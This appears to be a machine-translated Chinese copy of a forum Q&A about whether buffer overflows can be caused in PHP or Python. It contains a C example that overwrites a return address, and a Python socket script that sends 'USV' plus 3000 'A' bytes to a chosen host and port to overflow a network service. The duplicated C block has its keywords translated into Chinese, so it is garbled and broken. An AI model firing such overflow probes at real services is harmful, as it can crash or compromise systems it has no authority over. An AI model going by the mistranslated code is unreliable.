如何在PHP/Python中进行缓冲区溢出?

如何在PHP/Python中进行缓冲区溢出?,php,python,buffer-overflow,Php,Python,Buffer Overflow,下面是c语言中的一个示例: #include <stdio.h> #include <string.h> void bad() { printf("Oh shit really bad~!\r\n"); } void foo() { char overme[4] = "WOW"; *(int*)(overme+8) = (int)bad; } int main() { foo(); } #包括 #包括 无效坏(){ printf(“哦

下面是c语言中的一个示例:

#include <stdio.h>
#include <string.h>

void bad() {
    printf("Oh shit really bad~!\r\n");
}

void foo() {
    char overme[4] = "WOW";
    *(int*)(overme+8) = (int)bad;
}

int main() {
   foo();
}
#包括
#包括
无效坏(){
printf(“哦,真糟糕~!\r\n”);
}
void foo(){
charoverme[4]=“哇”;
*(int*)(overme+8)=(int)坏;
}
int main(){
foo();
}

因为PHP是一种脚本语言,没有指针,而且字符串类型是二进制安全的,所以这些东西在PHP中不起作用

但是你为什么要做这样的事呢


(哦,PHP中可能存在导致缓冲区溢出的错误,但这在任何方面都不可靠,通常是固定的…

在PHP中执行类似操作不会导致相同的行为


PHP将被解释,并始终检查您正在执行的操作是否有效。。因此,您不能(例如)溢出缓冲区。

因为php,python和每种被解释的语言首先都必须经过一个解释器,而你不能完全访问内存。这种语言不允许你做一些游戏,比如你发布的代码。

事实上,python和PHP是按照别人的建议被解释的,这并不重要。关键是,它们公开的几乎所有API和语言语义都经过严格的错误检查,因此不可能有可利用的未定义行为。即使你编译了这些语言,这仍然是不可能的。这并不意味着您不能公开可以做任何事情的不安全API。事实上,使用Pythons ctypes模块,应该可以创建类似的行为,但由于偶然的原因,创建类似的行为要困难得多。

我们很抱歉:您在Python中遇到了一个弱点。不幸的是,这是故意的,所以对此无能为力。也许你应该留在C

正如马丁五世。洛维斯:

Python不支持缓冲区溢出,抱歉

PS哇。好像是几个月前我读过那篇文章,但已经7年零1天了

import sys
import socket

for carg in sys.argv:

    if carg == "-S":

        argnum= sys.argv.index(carg)

        argnum +=1

        host = sys.argv[argnum]

    elif carg == "-p":

        argnum = sys.argv.index(carg)

        argnum +=1

        port = sys.argv[argnum]

buffer = "\x41"* 3000

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send("USV" + buffer)

s.close()